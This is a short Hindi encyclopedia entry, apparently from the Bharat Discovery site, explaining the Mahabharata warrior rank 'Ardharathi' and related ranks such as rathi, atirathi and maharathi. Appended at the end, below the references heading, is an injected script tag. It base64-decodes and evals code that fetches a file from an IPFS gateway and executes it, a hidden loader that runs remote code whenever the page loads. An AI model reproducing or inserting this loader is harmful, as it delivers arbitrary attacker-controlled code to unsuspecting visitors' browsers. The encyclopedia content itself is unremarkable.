अर्द्धरथी
भारत डिस्कवरी प्रस्तुति
अर्द्धरथी महाभारत कालीन युद्धों में लड़ने वाले उस वीर को कहा जाता था, जो अकेला पाँच सौ वीरों से लड़ सकता था।
- 'महाभारत उद्योग पर्व' में पितामह भीष्म ने एक स्थान पर पांडव पक्ष के रथी, महारथी एवं अतिरथी योद्धाओं का वर्णन किया है।
- महाभारत युद्ध में पत्ती, सेनामुख, गुल्म तथा गण के नायक अर्द्धरथी हुआ करते थे।
- वाहिनी, पृतना, चमु और अनीकिनी के नायक 'रथी' हुआ करते थे।
- एक अक्षौहिणी सेना का नायक 'अतिरथी' होता था। एक से अधिक अक्षौहिणी सेना का नायक सामान्यतः एक 'महारथी' हुआ करता था।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>